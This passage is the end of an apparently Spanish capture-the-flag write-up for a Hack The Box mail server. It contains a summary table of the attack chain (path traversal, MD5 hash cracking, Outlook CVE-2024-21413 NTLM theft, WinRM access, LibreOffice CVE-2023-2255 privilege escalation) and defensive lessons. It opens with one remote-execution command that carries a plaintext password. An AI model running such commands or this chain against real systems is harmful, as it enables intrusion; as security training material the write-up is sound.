nxc winrm 10.129.232.39 -u maya -p 'm4y4ngs4ri' -x 'del "C:\Important Documents\pwn.odt"'

Resumen de vulnerabilidades

Fase	Componente	Vulnerabilidad	Impacto
Acceso a ficheros	`download.php?file=`	Path Traversal — el parametro no valida ni normaliza la ruta	Lectura arbitraria de ficheros del sistema (CWE-22)
Credenciales	`hMailServer.INI`	Hash MD5 sin sal del administrador de hMailServer, expuesto por el traversal	Crackeo trivial de la contrasena de administracion (CWE-916 / CWE-327)
Reutilizacion	SMTP (`administrator@mailing.htb`)	La contrasena del panel de hMailServer se reutiliza como credencial de un buzon	Cuenta SMTP autenticada para el atacante (CWE-521)
Foothold	Microsoft Outlook	CVE-2024-21413 — MonikerLink evita la Protected View en enlaces `file://...!`	Autenticacion NTLM forzada -> robo de hash NTLMv2 de `maya` (CWE-451)
Movimiento lateral	WinRM	Credenciales validas de `maya`, miembro de Remote Management Users	Shell interactiva como `maya` (user.txt)
PrivEsc	`C:\Important Documents` + LibreOffice 7.4.0.1	Permiso Modify para un usuario estandar sobre una carpeta procesada por una cuenta admin + CVE-2023-2255 (ejecucion de macro sin interaccion)	Escalada a Administradores locales (root.txt) (CWE-732 / CWE-94)

Lecciones aprendidas

Un endpoint de descarga de ficheros que recibe el nombre/ruta como parametro debe validar contra una lista blanca y usar basename() o equivalente, confinando el acceso a un directorio concreto — nunca concatenar entrada del usuario directamente en una ruta del sistema de ficheros.
Guardar un secreto como hash MD5 sin sal (aunque sea "solo" para un panel de administracion local) es una apuesta a que ningun otro fallo expondra ese fichero — y basta un solo Path Traversal para que la apuesta se pierda.
La reutilizacion de contrasenas entre un panel de administracion y una cuenta de servicio (correo, en este caso) multiplica el impacto de cualquier fuga: una sola credencial comprometida se convierte en dos vectores de acceso distintos.
CVE-2024-21413 (MonikerLink) recuerda que un enlace file:// en un cliente de correo no es inocuo: aplicar el parche de febrero de 2024 de Outlook y, como mitigacion adicional, bloquear la salida SMB (445) hacia Internet para evitar la autenticacion NTLM saliente.
Una tarea automatizada que abre documentos depositados por usuarios de bajo privilegio con una cuenta administrativa es una escalada de privilegios lista para usar — ese procesamiento deberia correr con una cuenta de minimos privilegios, en un entorno aislado, y la carpeta vigilada nunca deberia ser escribible por la misma cuenta que puede beneficiarse de la escalada.
CVE-2023-2255 demuestra por que una suite ofimatica debe tratar los objetos OLE/enlazados de un documento como contenido potencialmente hostil: actualizar LibreOffice a >= 7.4.7 / >= 7.5.3 cierra la ejecucion de macros sin interaccion del usuario.